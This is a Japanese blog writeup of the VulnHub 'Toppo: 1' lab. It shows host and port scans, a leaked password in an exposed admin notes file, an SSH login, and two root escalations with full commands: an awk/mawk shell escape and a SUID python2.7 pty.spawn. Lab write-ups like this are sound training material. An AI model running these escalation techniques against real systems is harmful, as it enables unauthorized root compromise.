0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【VulnHub】Toppo 1:Writeup

Posted at

概要

VulnHub「Toppo: 1」のWriteupです。

Root Flag

初期侵入

ターゲットマシンのIPアドレスを特定します。

$nmap -PE -PP -PM -sP -n 192.168.178.0/24
Warning:  You are not root -- using TCP pingscan rather than ICMP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-24 11:38 UTC
Nmap scan report for 192.168.178.20
Host is up (0.00020s latency).
Nmap scan report for 192.168.178.31
Host is up (0.00054s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.26 seconds

192.168.178.20は、攻撃用Parrot OSのIPアドレスです。
192.168.178.31が、ターゲットマシンのIPアドレスだと分かりました。

ポートスキャンを実行します。

$nmap -Pn -sCV -T4 -p- 192.168.178.31 -oN nmap_result

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
|   2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
|   256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_  256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Clean Blog - Start Bootstrap Theme
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35443/udp6  status
|   100024  1          35641/tcp6  status
|   100024  1          42813/udp   status
|_  100024  1          54532/tcp   status
54532/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 6.7p1
80 http Apache/2.4.10
111 rpcbind 2-4

80番ポートにアクセスすると、ブログページが表示されました。

image.png

ディレクトリスキャンをすると、/admin/README.mdを発見しました。

$dirsearch -u http://192.168.178.31/

[11:48:17] 200 -    1KB - /about.html
[11:48:18] 301 -  316B  - /admin  ->  http://192.168.178.31/admin/
[11:48:18] 200 -  455B  - /admin/
[11:48:26] 200 -    2KB - /contact.html
[11:48:26] 301 -  314B  - /css  ->  http://192.168.178.31/css/
[11:48:30] 200 -  947B  - /gulpfile.js
[11:48:31] 301 -  314B  - /img  ->  http://192.168.178.31/img/
[11:48:32] 200 -  549B  - /js/
[11:48:32] 200 -    1KB - /LICENSE
[11:48:33] 301 -  315B  - /mail  ->  http://192.168.178.31/mail/
[11:48:33] 200 -  460B  - /mail/
[11:48:34] 200 -  201B  - /manual/index.html
[11:48:34] 301 -  317B  - /manual  ->  http://192.168.178.31/manual/
[11:48:36] 200 -    1KB - /package.json
[11:48:36] 200 -  256KB - /package-lock.json
[11:48:39] 200 -    3KB - /post.html
[11:48:39] 200 -    4KB - /README.md
[11:48:46] 200 -  479B  - /vendor/

/adminにアクセスすると、/notes.txtを発見しました。
12345ted123というパスワードが使用されている可能性が高いです。

また、数字の間にtedという文字列があり、SSHユーザー名の可能性もあります。

$curl http://192.168.178.31/admin/notes.txt
Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

試しに、Username: tedPassword: 12345ted123でSSH接続を試みると成功しました。

$ssh ted@192.168.178.31
ted@Toppo:~$

awkを利用した権限昇格

sudoコマンドはありませんでしたが、/etc/sudoersから許可されているプログラムを確認すると、/usr/bin/awkがありました。

$ sudo -l
-bash: sudo: command not found

$ cat /etc/sudoers 
ted ALL=(ALL) NOPASSWD: /usr/bin/awk

/usr/bin/awkのリンクをたどっていくと、/usr/bin/mawkに辿り着き、/usr/bin/mawkはSUIDが設定されています。
/usr/bin/awkを実行すると、最終的にroot権限で/usr/bin/mawkが実行されるということです。

$ ls -la /usr/bin/awk
lrwxrwxrwx 1 root root 21 Apr 15  2018 /usr/bin/awk -> /etc/alternatives/awk

$ ls -la /etc/alternatives/awk
lrwxrwxrwx 1 root root 13 Apr 15  2018 /etc/alternatives/awk -> /usr/bin/mawk

$ ls -la /usr/bin/mawk
-rwsr-xr-x 1 root root 106908 Mar 23  2012 /usr/bin/mawk

awkでの権限昇格テクニックが、GTFOBinsに載っていました。

無事権限昇格に成功しました。

$ awk 'BEGIN {system("/bin/sh")}'
# whoami
root

python2.7を使用した権限昇格

SUIDが設定されたプログラムを検索すると、/usr/bin/python2.7が見つかりました。

$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/python2.7

pythonのpty.spawnを使用し、root権限昇格に成功しました。

$ /usr/bin/python2.7 -c "import pty;pty.spawn('/bin/sh')"
# whoami
root

/root/flag.txtからルートフラグを入手できました。

# cat /root/flag.txt
_________                                  
|  _   _  |                                 
|_/ | | \_|.--.   _ .--.   _ .--.    .--.   
    | |  / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \ 
   _| |_ | \__. | | \__/ | | \__/ || \__. | 
  |_____| '.__.'  | ;.__/  | ;.__/  '.__.'  
                 [__|     [__|              




Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?